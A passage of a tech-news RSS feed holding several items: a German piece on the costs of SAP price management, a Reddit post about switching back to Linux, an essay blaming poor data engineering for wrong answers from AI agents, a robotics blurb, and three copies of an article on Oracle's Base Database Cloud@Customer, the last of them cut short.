<p class="wp-block-paragraph">Die direkten Kosten sind jedoch nur ein Teil der Belastung. Nicht zu unterschätzen sind auch indirekte Kosten, die durch Fehler beim Preismanagement entstehen. Sie erfordern aufwendige Nacharbeit, interne Abstimmungen oder Gespräche mit OEM-Kunden, und führen oft zu teuren Nachbelastungen. Bei einer Fehlerquote, die in der Praxis beim manuellen Preisdatenimport zwei bis vier Prozent und bei Preisanpassungen zwei bis drei Prozent beträgt, schlagen diese Folgekosten mit <strong>20.000 bis 30.000 Euro</strong> zu Buche. Damit liegt die wirtschaftliche Gesamtbelastung bei rund <strong>85.000 bis 95.000 Euro im Jahr</strong>.</p>



<h2 class="wp-block-heading">Drei Optionen: Customizing, Eigenentwicklung und Add-on</h2>



<p class="wp-block-paragraph">Der Aufwand und die Folgekosten manueller Prozesse bei Preisanpassungen und Preis-Updates durch Lücken im SAP-Standard sind also hoch. Abteilungs- und Teamleiter im Vertriebsinnendienst und in der Fakturierung sollten daher nach Wegen suchen, diese Lücken ohne den Einsatz einer Third-Party-Lösung zu schließen. Innerhalb der SAP-Welt bleiben drei Optionen.</p>



<ol class="wp-block-list">
<li><strong>Optimierung des SAP-Standards durch Customizing und ein stärkerer Batch-Einsatz:</strong> Sie bringt nur einen Effizienzgewinn von zehn bis 20 Prozent und spart 8.000 bis 15.000 Euro pro Jahr, auch weil Funktionen für Massenänderungen und Simulationen weiterhin fehlen.</li>
</ol>



<ul class="wp-block-list">
<li><strong>Individuelle SAP-Erweiterung:</strong> Sie bietet Flexibilität, ist aber durch Entwicklungskosten bis in den sechsstelligen Euro-Bereich, Projektlaufzeiten von sechs bis 24 Monaten, den hohen Wartungsaufwand und die Abhängigkeit von einzelnen Entwicklern selten wirtschaftlich.</li>
</ul>



<ul class="wp-block-list">
<li><strong>Einsatz SAP-basierter Add-ons und Partnerlösungen:</strong> Sie fügen sich in das vorhandene SAP-System ein, nutzen SAP-Standardtabellen, schließen Prozesslücken modifikationsfrei und bieten meist das beste Kosten-Nutzen-Verhältnis. Empirische Werte zeigen, dass ein spezielles Preispflege-Add-on mit einer zentralen Sicht auf alle Preisbestandteile und What-if-Simulationen die Bearbeitung von drei bis 15 Minuten auf wenige Sekunden verkürzt. Die dadurch möglichen Einsparungen in Bezug auf Prozess- und Arbeitskosten liegen im Schnitt zwischen 50.000 und 85.000 Euro pro Jahr. Bei einer Implementierungszeit von in der Regel vier bis acht Wochen und Investitionskosten von 30.000 bis 60.000 Euro, amortisiert sich der Einsatz eines solchen Add-ons dann erfahrungsgemäß meist binnen eines Jahres.</li>
</ul>



<h2 class="wp-block-heading">Vom Kostentreiber zum Wettbewerbsfaktor</h2>



<p class="wp-block-paragraph">Zulieferer, die Prozesslücken im SAP-Preismanagement schließen, profitieren somit gleich mehrfach.</p>



<ul class="wp-block-list">
<li>Der <strong>Wegfall von Kostentreibern</strong> und ein <strong>schneller ROI</strong> erhöhen die Liquidität und schaffen Spielraum für strategische Investitionen, etwa in Forschung und Entwicklung oder den Kundenservice.</li>
</ul>



<ul class="wp-block-list">
<li>Durch straffere, nahezu fehlerfreie Abläufe gewinnen Mitarbeitende in Vertriebsinnendienst und Fakturierung mehr Zeit für wertschöpfende Tätigkeiten wie Konditionsverhandlungen, Preisanalysen oder die Sicherung der Datenqualität. Zugleich können sie auf neue OEM-Anforderungen zeitnah reagieren.</li>
</ul>



<p class="wp-block-paragraph">In einer margenschwachen Branche mit anhaltendem Preisdruck wird daraus ein Wettbewerbsfaktor. So entscheidet ein im Tagesgeschäft zunächst unterschätzter Kostentreiber am Ende über die strategische Position eines Zulieferers. (mb)</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Going back to Linux full-time after many years]]></title>
<description><![CDATA[I've been using PCs since 1998. Around 2000 I started with PCLOS. Because they had the friendliest user forum for noobs. Also back then PCLOS was like the Mint of today. The easiest distro for noobs. I had to buy an external modem to get dialup. And TexStar the creator personally held my hand to ...]]></description>
<link>https://tsecurity.de/de/3687873/linux-tipps/going-back-to-linux-full-time-after-many-years/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687873/linux-tipps/going-back-to-linux-full-time-after-many-years/</guid>
<pubDate>Thu, 23 Jul 2026 04:21:44 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>I've been using PCs since 1998. Around 2000 I started with PCLOS. Because they had the friendliest user forum for noobs. Also back then PCLOS was like the Mint of today. The easiest distro for noobs. I had to buy an external modem to get dialup. And TexStar the creator personally held my hand to get the modem configured.</p> <p>Back then laptops were outrageously expensive. So I built a desktop. I had removable drawers for the hard drives that I used to clone back &amp; forth. Because I would destroy my W98se installs. I created a PCLOS live CD. I removed both HDD. Booted to PCLOS. I started laughing like crazy because I was using my PC without a HDD! I was gobstruck.</p> <p>Fast forward to around the present day. I can't remember what year I started using Linux full-time. I'm old &amp; my memory is terrible. I think I lasted around a year then went back to Windows. And the reason I went backwards was so stupid it's shocking. It was because a fast Windows surfing session for me was 1hr-1.5hrs. Where as in Linux it was only 20minutes. I went back to Windows because Linux was too EASY!</p> <p>Anyways W7 was rock solid for me. After a Vista nightmare I went back to W7. Stayed on W7 till 2023. Then jumped to W11. Since W7 I think I borked 2-3 W installs. That was until W11 25H2. What a POS.</p> <p>In the last 5 weeks three W11 installs were borked. I blame M$ &amp; 25H2. I know when a bork is my fault. These were not.</p> <p>I got a new used ThinkPad X1 Carbon Gen 4 16GB 6th Gen i7 6600 2016. Installed Mint Cinnamon for a few days. It was clunky &amp; froze a couple on the ancient hardware.</p> <p>I then installed Debian LXQT 13.6. Wow Debian is much easier than 15 years ago. LOL. Everything is snappy except Zoom. My hardware won't run the Zoom app. But Zoom worked ok in a browser. I disabled a few unnecessary auto start services now Zoom &amp; everything runs well.</p> <p>I have one other primary laptop to install Linux.</p> <p>I hope I don't go backwards to Windows.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/ReporterWise7445"> /u/ReporterWise7445 </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1v3wmq9/going_back_to_linux_fulltime_after_many_years/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v3wmq9/going_back_to_linux_fulltime_after_many_years/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI agents aren't confidently wrong because of bad context — they're wrong because of bad data engineering]]></title>
<description><![CDATA[You spend weeks tuning an AI chatbot. Answers are accurate. Stakeholders sign off, and you ship it. Three months later, the system is confidently wrong about a third of what users ask. Nobody changed the model, and nobody touched the prompts. The world moved, pricing changed, a policy updated, a ...]]></description>
<link>https://tsecurity.de/de/3687580/it-nachrichten/ai-agents-arent-confidently-wrong-because-of-bad-context-theyre-wrong-because-of-bad-data-engineering/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687580/it-nachrichten/ai-agents-arent-confidently-wrong-because-of-bad-context-theyre-wrong-because-of-bad-data-engineering/</guid>
<pubDate>Wed, 22 Jul 2026 22:58:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>You spend weeks tuning an AI chatbot. Answers are accurate. Stakeholders sign off, and you ship it. Three months later, the system is confidently wrong about a third of what users ask. Nobody changed the model, and nobody touched the prompts. The world moved, pricing changed, a policy updated, a product spec shipped a new version, and the underlying knowledge store didn't move with it.</p><p>This is not a hypothetical. It's one of the most common production failure modes in enterprise AI right now, and most data engineering teams don't have the right tooling to catch it, regardless of how the AI system retrieves the data.</p><h2>The failure that doesn't look like a failure </h2><p>An AI application doesn't care whether it's retrieving from a vector store, a document index, or an API call. Whatever the mechanism, nothing in a standard retrieval pipeline checks whether what it's serving is still correct. A stale pricing document retrieves just as confidently as a current one, because the system is scoring relevance or availability, not correctness. A record with a silently missing field passes through just as cleanly as a complete one, for the same reason.</p><p>So the failure is invisible by design. Outdated or incomplete data still scores high on relevance, or passes every check a data pipeline was built to run. The model answers with full confidence because the retrieved context looks authoritative. Every dashboard you're watching stays green. The system looks like it's working. It's just wrong.</p><p>I’ve watched a similar version of this happen outside the AI context, in a fintech pipeline. An upstream system changed a field without notifying downstream users. The pipeline did not fail; it simply propagated bad values into dashboards because the system only checked whether the job completed, not whether the data was still correct. The issue surfaced only when a customer noticed something inconsistent. By then, the bad data had already moved downstream. </p><p>Whether it's a document that's gone stale or a field that's gone silently missing, the failure shape is the same: the absence of an error is not the presence of correctness, and without building proper validation layers, nothing in the pipeline could identify the problem.</p><h2>Why this is a data engineering problem</h2><p>Teams that hit this failure tend to misdiagnose it, and they tend to do it twice.</p><p><b>Blaming the model: </b>The first instinct is to blame the model, try a different LLM, adjust the prompt. The real problem lies further upstream, at the data engineering layer, the same instinct behind the fintech failure above: monitoring built for the pipeline, not the data.</p><p><b>Blaming the retrieval layer: </b>Once the model's ruled out, the next instinct is to blame the retrieval or context layer instead and buy a better one. The timing isn't a coincidence: as enterprises push these systems into the real production world, this gap is exactly what's starting to surface, and the vendor response has been everywhere. </p><ul><li><p>AWS just<a href="https://venturebeat.com/data/aws-enters-the-context-layer-race-with-a-graph-that-learns-from-agents-not-manual-curation"> entered the "context layer" race</a> with a knowledge graph that learns from agent usage. </p></li><li><p>Snowflake's new Horizon Context and Cortex Sense target the exact symptom<a href="https://venturebeat.com/data/ai-agents-keep-giving-confident-wrong-answers-the-context-layer-is-enterprise-ais-next-production-problem"> this piece opened with</a>: agents giving confident wrong answers because nothing governs the business logic underneath them. </p></li></ul><p>Both are real responses to a real problem, but they sit one layer above it; a knowledge graph still depends on whatever feeds it.</p><p>The real problem lies further upstream, at the data engineering layer. Teams check whether a job ran, not whether the data it moved is still true, an instinct that predates AI by years. Monitoring is built for the pipeline, not for the data. </p><h2>What's actually missing: Data observability</h2><p>Data observability is a well-known concept that doesn't get enough attention in how it's actually implemented. The relevant metric isn't a percentage — it's coverage: what fraction of critical datasets have lineage that's actually queryable, versus only living in someone's head.</p><p>Uber built a <a href="https://www.uber.com/in/en/blog/operational-excellence-data-quality/">dedicated data quality and observability platform</a> long before retrieval-augmented generation existed. Their Unified Data Quality platform supports more than 2,000 critical datasets and detects around 90% of data quality incidents before they reach downstream consumers.</p><p>Netflix solved a different piece of the same problem, <a href="https://netflixtechblog.com/building-and-scaling-data-lineage-at-netflix-to-improve-data-infrastructure-reliability-and-1a52526a7977">building a company-wide data lineage system</a> so anyone could answer where a dataset came from and what touched it along the way. It maps dependencies across Kafka topics, ML models, and experimentation, not just warehouse tables. Similar to Uber, the platform was built for humans and now it has become more important with the rise in AI/LLM applications.</p><p>Between them, Uber and Netflix cover two of the four things worth building for. In practice, I think about it as four dimensions, each measurable on its own terms.</p><p><b>Correctness:</b> Does each record conform to the shape and rules it's supposed to, right field types, no unexpected nulls, values in range. Tools like<a href="https://greatexpectations.io/"> Great Expectations</a> and <a href="https://soda.io/">Soda</a> handle this well: automated row and column-level validation instead of manual checks after something breaks. Track percentage of records passing validation per run.</p><p><b>Freshness:</b> Is the data still current relative to its source, not just current as of its last check. Track time since last successful update per source, with an SLA per dataset rather than one blanket threshold, since some sources need hourly refresh and others don't.</p><p><b>Consistency:</b> Does the same fact read the same way everywhere it's stored or indexed. This fails silently, it only shows up when two systems fed by the same source start disagreeing. A periodic cross-check between downstream destinations, flagging mismatch rate above a threshold, is enough to catch it early.</p><p><b>Lineage:</b> Can you trace any output back to its source and every transform it passed through, the same question Netflix built its system to answer. </p><p>None of this requires infrastructure most data teams don't already have. I know because I've built it, not just argued for it.</p><p>At <a href="https://www.socure.com/">Socure</a>, client data arrived in whatever shape the client felt like sending it, and occasionally, quietly wrong. The challenge was building a system where incorrect data could be identified before it propagated downstream. The same principles applied: Validate what arrived, understand where it came from, and prevent bad data from becoming someone else's problem.</p><p>Great Expectations became part of that foundation: schema and range validation at ingestion, per-source SLAs for freshness, cross-system checks for consistency, and file-level lineage. All of it sat behind a <a href="https://aws.amazon.com/blogs/big-data/build-write-audit-publish-pattern-with-apache-iceberg-branching-and-aws-glue-data-quality/">write-audit-publish</a> pattern, where data landed in staging, was validated, and only moved downstream if it passed the required checks.</p><p>The result showed up downstream: better accuracy across the board, in reporting, in the ML models, and in AI retrieval built on top of that same data.</p><h2>What to do Monday morning</h2><p>If you're running retrieval-based AI systems in production, the diagnostic question isn't which model to try next or which retrieval architecture to migrate to. It's four narrower questions: </p><ul><li><p>Is the underlying data validated against the standards required by its consumers?</p></li><li><p>What's the oldest piece of content currently being served with high confidence?</p></li><li><p>Would two chunks of the same source ever disagree with each other in the same retrieval result?</p></li><li><p>Could you trace where it came from if it turned out to be wrong?</p></li></ul><p>If you can't answer those questions, then the gap lies in the pipeline between your source systems and whatever your agent reads from. That’s a data engineering fix, not a model swap or a vendor migration.</p><p>Whether you're building reporting pipelines, ML systems, or AI agents, correctness, freshness, consistency, and lineage are what make data trustworthy. AI simply exposes weaknesses that have existed in data engineering all along. </p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Mimic Robotics Wants to Rethink Factory Automation With a Human-Like Hand]]></title>
<description><![CDATA[Mimic Robotics unveiled the M1 robotic hand and Wearable U1, betting that a full-stack approach to AI, hardware, and training data will unlock human-like robotic dexterity.]]></description>
<link>https://tsecurity.de/de/3687348/it-nachrichten/mimic-robotics-wants-to-rethink-factory-automation-with-a-human-like-hand/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687348/it-nachrichten/mimic-robotics-wants-to-rethink-factory-automation-with-a-human-like-hand/</guid>
<pubDate>Wed, 22 Jul 2026 20:48:37 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Mimic Robotics unveiled the M1 robotic hand and Wearable U1, betting that a full-stack approach to AI, hardware, and training data will unlock human-like robotic dexterity.]]></content:encoded>
</item>
<item>
<title><![CDATA[Oracle expands Cloud@Customer with new database service for mid-sized workloads]]></title>
<description><![CDATA[Oracle is expanding its Cloud@Customer on-premises portfolio with a managed database offering that it says will enable enterprises to run databases, applications, and AI agents in their own data centers, helping CIOs modernize mid-sized workloads while meeting data residency, regulatory, and low-...]]></description>
<link>https://tsecurity.de/de/3687239/ai-nachrichten/oracle-expands-cloudcustomer-with-new-database-service-for-mid-sized-workloads/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687239/ai-nachrichten/oracle-expands-cloudcustomer-with-new-database-service-for-mid-sized-workloads/</guid>
<pubDate>Wed, 22 Jul 2026 20:19:33 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Oracle is expanding its <a href="https://www.cio.com/article/649108/oracle-adds-compute-services-to-its-cloudcustomer-offering.html">Cloud@Customer on-premises portfolio</a> with a managed database offering that it says will enable enterprises to run databases, applications, and AI agents in their own data centers, helping CIOs modernize mid-sized workloads while meeting data residency, regulatory, and low-latency requirements.</p>



<p class="wp-block-paragraph">The hybrid cloud offering, Base Database Cloud@Customer, combines existing database and infrastructure services such as the Base Database Service and Data Infrastructure Cloud@Customer X11 platform. It is designed for enterprises that do not need the scale of Exadata Cloud@Customer but still want their infrastructure and AI capabilities on-premises, managed by Oracle, the company said.</p>



<p class="wp-block-paragraph">The Cloud@Customer X11 platform itself consists of two Oracle X11 compute servers and shared all-flash storage, offering up to 60 usable processor cores and 660 GB of memory per server, 47.2 TB of storage, and 10/25 GbE networking.</p>



<h2 class="wp-block-heading">For regulated industries or restricted connectivity</h2>



<p class="wp-block-paragraph">Analysts see the new offering filling a gap for enterprises that want the operational and economic benefits of the cloud but cannot send their data to a public cloud because of legal restrictions or technology limitations.</p>



<p class="wp-block-paragraph">These enterprises, according to <a href="https://www.hfsresearch.com/team/ashish-chaturvedi/" target="_blank" rel="noreferrer noopener">Ashish Chaturvedi</a>, executive research leader at HFS Research, are likely to be in regulated industries such as financial services, healthcare, government, and defense that must comply with data residency requirements, or needing low-latency access from remote sites to operational databases.</p>



<p class="wp-block-paragraph">The offering could also appeal to enterprises modernizing mid-sized workloads at remote locations or within individual business units that could never justify the investment in a <a href="https://www.infoworld.com/article/3633997/oracle-offers-price-performance-boost-with-exadata-x11m-update.html">full Exadata rack</a>, said <a href="https://www.linkedin.com/in/amitchandak78/">Amit Chandak</a>, chief analytics officer at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">In all cases, Chaturvedi said, the appeal of the offering is its managed nature, which takes away the burden of looking after the underlying infrastructure.</p>



<p class="wp-block-paragraph">Deployment and maintenance becomes easier too, said <a href="https://moorinsightsstrategy.com/team/mike-leone/" target="_blank" rel="noreferrer noopener">Michael Leone</a>, principal analyst at Moor Strategy and Insights: “They get automation that mid-size teams rarely have the staff to build. Clustering, patching, standby databases, and backups arrive configured instead of hand-assembled because the offering is managed.”</p>



<p class="wp-block-paragraph">The economics are equally compelling, Chaturvedi said. The pay-as-you-go pricing model, combined with online compute scaling, helps enterprises avoid overprovisioning and paying license fees for idle cores, which is a “classic waste” of fixed on-premises systems, he said.</p>



<h2 class="wp-block-heading">Private AI behind the firewall</h2>



<p class="wp-block-paragraph">Beyond the operational and economic benefits, the architecture of the new offering enables databases, applications, VMs, and AI agents to be collocated on the same platform, removing what Chaturvedi called “the single biggest blocker” to AI adoption in regulated environments: the need to keep private data behind the firewall.</p>



<p class="wp-block-paragraph">“For a CIO in a regulated sector who wants to deploy AI agents but can’t let regulated data touch an external model API, that’s a real unlock,” Chaturvedi said.</p>



<p class="wp-block-paragraph">More so because most AI offerings, at least in their present form and state, cannot guarantee sensitive data protection, said <a href="https://www.infotech.com/profiles/igor-ikonnikov" target="_blank" rel="noreferrer noopener">Igor Ikonnikov</a>, advisory fellow at Info-Tech Research Group.</p>



<p class="wp-block-paragraph">Even if Base Database Cloud@Customer turns out more expensive than fully cloud-based options, “It’s still attractive as it eliminates reputational and economic risk caused by possible AI-induced data leakage,” Ikonnikov said.</p>



<p class="wp-block-paragraph">The offering’s consolidation of databases, applications, and AI agents will also simplify deployment of AI-based workflows, said Forrester principal analyst <a href="https://www.forrester.com/analyst-bio/noel-yuhanna/BIO852">Noel Yuhanna</a>. “It reduces stack complexity and helps accelerate development cycles, deliver real-time data, and eliminate data movement challenges.”</p>



<p class="wp-block-paragraph">Despite those advantages, Chandak cautioned that the offering is unlikely to see broad adoption outside Oracle’s existing customer base: “If a company isn’t already on Oracle, the pull is weak. You don’t buy into Oracle’s database just to get this.”</p>



<p class="wp-block-paragraph">Enterprises seeking similar hybrid cloud capabilities have no shortage of alternatives: AWS, Microsoft, Google Cloud, IBM, Dell Technologies, and HPE all offer combinations of on-premises infrastructure, cloud management, and AI services.</p>



<p class="wp-block-paragraph">However, those alternatives typically require customers to integrate multiple software and hardware components rather than consume them as a single managed offering.</p>



<p class="wp-block-paragraph">Oracle’s differentiation, although narrow, is hard to match, Chaturvedi said: “The vertical integration of database, engineered hardware, cloud management, high-availability architecture, and now private AI, all engineered together and delivered as a managed on-prem subscription should be genuinely convenient and attractive.”</p>



<p class="wp-block-paragraph">The offering is compatible with Oracle AI Database 26ai and Oracle Database 19c in Enterprise Edition and Standard Edition configurations. It also supports Oracle Real Application Clusters, Oracle Data Guard, and Zero Data Loss Recovery Appliance through Oracle-managed cloud automation for high availability and disaster recovery, the company said.</p>



<p class="wp-block-paragraph">Base Database Cloud@Customer is now generally available, Oracle said. It did not provide pricing.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.cio.com/article/4200176/oracle-expands-cloudcustomer-with-new-database-service-for-mid-sized-workloads.html">CIO</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Oracle expands Cloud@Customer with new database service for mid-sized workloads]]></title>
<description><![CDATA[Oracle is expanding its Cloud@Customer on-premises portfolio with a managed database offering that it says will enable enterprises to run databases, applications, and AI agents in their own data centers, helping CIOs modernize mid-sized workloads while meeting data residency, regulatory, and low-...]]></description>
<link>https://tsecurity.de/de/3687195/it-security-nachrichten/oracle-expands-cloudcustomer-with-new-database-service-for-mid-sized-workloads/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687195/it-security-nachrichten/oracle-expands-cloudcustomer-with-new-database-service-for-mid-sized-workloads/</guid>
<pubDate>Wed, 22 Jul 2026 19:56:30 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Oracle is expanding its <a href="https://www.cio.com/article/649108/oracle-adds-compute-services-to-its-cloudcustomer-offering.html">Cloud@Customer on-premises portfolio</a> with a managed database offering that it says will enable enterprises to run databases, applications, and AI agents in their own data centers, helping CIOs modernize mid-sized workloads while meeting data residency, regulatory, and low-latency requirements.</p>



<p class="wp-block-paragraph">The hybrid cloud offering, Base Database Cloud@Customer, combines existing database and infrastructure services such as the Base Database Service and Data Infrastructure Cloud@Customer X11 platform. It is designed for enterprises that do not need the scale of Exadata Cloud@Customer but still want their infrastructure and AI capabilities on-premises, managed by Oracle, the company said.</p>



<p class="wp-block-paragraph">The Cloud@Customer X11 platform itself consists of two Oracle X11 compute servers and shared all-flash storage, offering up to 60 usable processor cores and 660 GB of memory per server, 47.2 TB of storage, and 10/25 GbE networking.</p>



<h2 class="wp-block-heading">For regulated industries or restricted connectivity</h2>



<p class="wp-block-paragraph">Analysts see the new offering filling a gap for enterprises that want the operational and economic benefits of the cloud but cannot send their data to a public cloud because of legal restrictions or technology limitations.</p>



<p class="wp-block-paragraph">These enterprises, according to <a href="https://www.hfsresearch.com/team/ashish-chaturvedi/" target="_blank" rel="noreferrer noopener">Ashish Chaturvedi</a>, executive research leader at HFS Research, are likely to be in regulated industries such as financial services, healthcare, government, and defense that must comply with data residency requirements, or needing low-latency access from remote sites to operational databases.</p>



<p class="wp-block-paragraph">The offering could also appeal to enterprises modernizing mid-sized workloads at remote locations or within individual business units that could never justify the investment in a <a href="https://www.infoworld.com/article/3633997/oracle-offers-price-performance-boost-with-exadata-x11m-update.html">full Exadata rack</a>, said <a href="https://www.linkedin.com/in/amitchandak78/">Amit Chandak</a>, chief analytics officer at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">In all cases, Chaturvedi said, the appeal of the offering is its managed nature, which takes away the burden of looking after the underlying infrastructure.</p>



<p class="wp-block-paragraph">Deployment and maintenance becomes easier too, said <a href="https://moorinsightsstrategy.com/team/mike-leone/" target="_blank" rel="noreferrer noopener">Michael Leone</a>, principal analyst at Moor Strategy and Insights: “They get automation that mid-size teams rarely have the staff to build. Clustering, patching, standby databases, and backups arrive configured instead of hand-assembled because the offering is managed.”</p>



<p class="wp-block-paragraph">The economics are equally compelling, Chaturvedi said. The pay-as-you-go pricing model, combined with online compute scaling, helps enterprises avoid overprovisioning and paying license fees for idle cores, which is a “classic waste” of fixed on-premises systems, he said.</p>



<h2 class="wp-block-heading">Private AI behind the firewall</h2>



<p class="wp-block-paragraph">Beyond the operational and economic benefits, the architecture of the new offering enables databases, applications, VMs, and AI agents to be collocated on the same platform, removing what Chaturvedi called “the single biggest blocker” to AI adoption in regulated environments: the need to keep private data behind the firewall.</p>



<p class="wp-block-paragraph">“For a CIO in a regulated sector who wants to deploy AI agents but can’t let regulated data touch an external model API, that’s a real unlock,” Chaturvedi said.</p>



<p class="wp-block-paragraph">More so because most AI offerings, at least in their present form and state, cannot guarantee sensitive data protection, said <a href="https://www.infotech.com/profiles/igor-ikonnikov" target="_blank" rel="noreferrer noopener">Igor Ikonnikov</a>, advisory fellow at Info-Tech Research Group.</p>



<p class="wp-block-paragraph">Even if Base Database Cloud@Customer turns out more expensive than fully cloud-based options, “It’s still attractive as it eliminates reputational and economic risk caused by possible AI-induced data leakage,” Ikonnikov said.</p>



<p class="wp-block-paragraph">The offering’s consolidation of databases, applications, and AI agents will also simplify deployment of AI-based workflows, said Forrester principal analyst <a href="https://www.forrester.com/analyst-bio/noel-yuhanna/BIO852">Noel Yuhanna</a>. “It reduces stack complexity and helps accelerate development cycles, deliver real-time data, and eliminate data movement challenges.”</p>



<p class="wp-block-paragraph">Despite those advantages, Chandak cautioned that the offering is unlikely to see broad adoption outside Oracle’s existing customer base: “If a company isn’t already on Oracle, the pull is weak. You don’t buy into Oracle’s database just to get this.”</p>



<p class="wp-block-paragraph">Enterprises seeking similar hybrid cloud capabilities have no shortage of alternatives: AWS, Microsoft, Google Cloud, IBM, Dell Technologies, and HPE all offer combinations of on-premises infrastructure, cloud management, and AI services.</p>



<p class="wp-block-paragraph">However, those alternatives typically require customers to integrate multiple software and hardware components rather than consume them as a single managed offering.</p>



<p class="wp-block-paragraph">Oracle’s differentiation, although narrow, is hard to match, Chaturvedi said: “The vertical integration of database, engineered hardware, cloud management, high-availability architecture, and now private AI, all engineered together and delivered as a managed on-prem subscription should be genuinely convenient and attractive.”</p>



<p class="wp-block-paragraph">The offering is compatible with Oracle AI Database 26ai and Oracle Database 19c in Enterprise Edition and Standard Edition configurations. It also supports Oracle Real Application Clusters, Oracle Data Guard, and Zero Data Loss Recovery Appliance through Oracle-managed cloud automation for high availability and disaster recovery, the company said.</p>



<p class="wp-block-paragraph">Base Database Cloud@Customer is now generally available, Oracle said. It did not provide pricing.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.cio.com/article/4200176/oracle-expands-cloudcustomer-with-new-database-service-for-mid-sized-workloads.html">CIO</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Oracle expands Cloud@Customer with new database service for mid-sized workloads]]></title>
<description><![CDATA[Oracle is expanding its Cloud@Customer on-premises portfolio with a managed database offering that it says will enable enterprises to run databases, applications, and AI agents in their own data centers, helping CIOs modernize mid-sized workloads while meeting data residency, regulatory, and low-...]]></description>
<link>https://tsecurity.de/de/3687189/it-nachrichten/oracle-expands-cloudcustomer-with-new-database-service-for-mid-sized-workloads/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687189/it-nachrichten/oracle-expands-cloudcustomer-with-new-database-service-for-mid-sized-workloads/</guid>
<pubDate>Wed, 22 Jul 2026 19:49:12 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Oracle is expanding its <a href="https://www.cio.com/article/649108/oracle-adds-compute-services-to-its-cloudcustomer-offering.html">Cloud@Customer on-premises portfolio</a> with a managed database offering that it says will enable enterprises to run databases, applications, and AI agents in their own data centers, helping CIOs modernize mid-sized workloads while meeting data residency, regulatory, and low-latency requirements.</p>



<p class="wp-block-paragraph">The hybrid cloud offering, Base Database Cloud@Customer, combines existing database and infrastructure services such as the Base Database Service and Data Infrastructure Cloud@Customer X11 platform. It is designed for enterprises that do not need the scale of Exadata Cloud@Customer but still want their infrastructure and AI capabilities on-premises, managed by Oracle, the company said.</p>



<p class="wp-block-paragraph">The Cloud@Customer X11 platform itself consists of two Oracle X11 compute servers and shared all-flash storage, offering up to 60 usable processor cores and 660 GB of memory per server, 47.2 TB of storage, and 10/25 GbE networking.</p>



<h2 class="wp-block-heading">For regulated industries or restricted connectivity</h2>



<p class="wp-block-paragraph">Analysts see the new offering filling a gap for enterprises that want the operational and economic benefits of the cloud but cannot send their data to a public cloud because of legal restrictions or technology limitations.</p>



<p class="wp-block-paragraph">These enterprises, according to <a href="https://www.hfsresearch.com/team/ashish-chaturvedi/" target="_blank" rel="noreferrer noopener">Ashish Chaturvedi</a>, executive research leader at HFS Research, are likely to be in regulated industries such as financial services, healthcare, government, and defense that must comply with data residency requirements, or needing low-latency access from remote sites to operational databases.</p>



<p class="wp-block-paragraph">The offering could also appeal to enterprises modernizing mid-sized workloads at remote locations or within individual business units that could never justify the investment in a <a href="https://www.infoworld.com/article/3633997/oracle-offers-price-performance-boost-with-exadata-x11m-update.html">full Exadata rack</a>, said <a href="https://www.linkedin.com/in/amitchandak78/">Amit Chandak</a>, chief analytics officer at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">In all cases, Chaturvedi said, the appeal of the offering is its managed nature, which takes away the burden of looking after the underlying infrastructure.</p>



<p class="wp-block-paragraph">Deployment and maintenance becomes easier too, said <a href="https://moorinsightsstrategy.com/team/mike-leone/" target="_blank" rel="noreferrer noopener">Michael Leone</a>, principal analyst at Moor Strategy and Insights: “They get automation that mid-size teams rarely have the staff to build. Clustering, patching, standby databases, and backups arrive configured instead of hand-assembled because the offering is managed.”</p>



<p class="wp-block-paragraph">The economics are equally compelling, Chaturvedi said. The pay-as-you-go pricing model, combined with online compute scaling, helps enterprises avoid overprovisioning and paying license fees for idle cores, which is a “classic waste” of fixed on-premises systems, he said.</p>



<h2 class="wp-block-heading">Private AI behind the firewall</h2>



<p class="wp-block-paragraph">Beyond the operational and economic benefits, the architecture of the new offering enables databases, applications, VMs, and AI agents to be collocated on the same platform, removing what Chaturvedi called “the single biggest blocker” to AI adoption in regulated environments: the need to keep private data behind the firewall.</p>



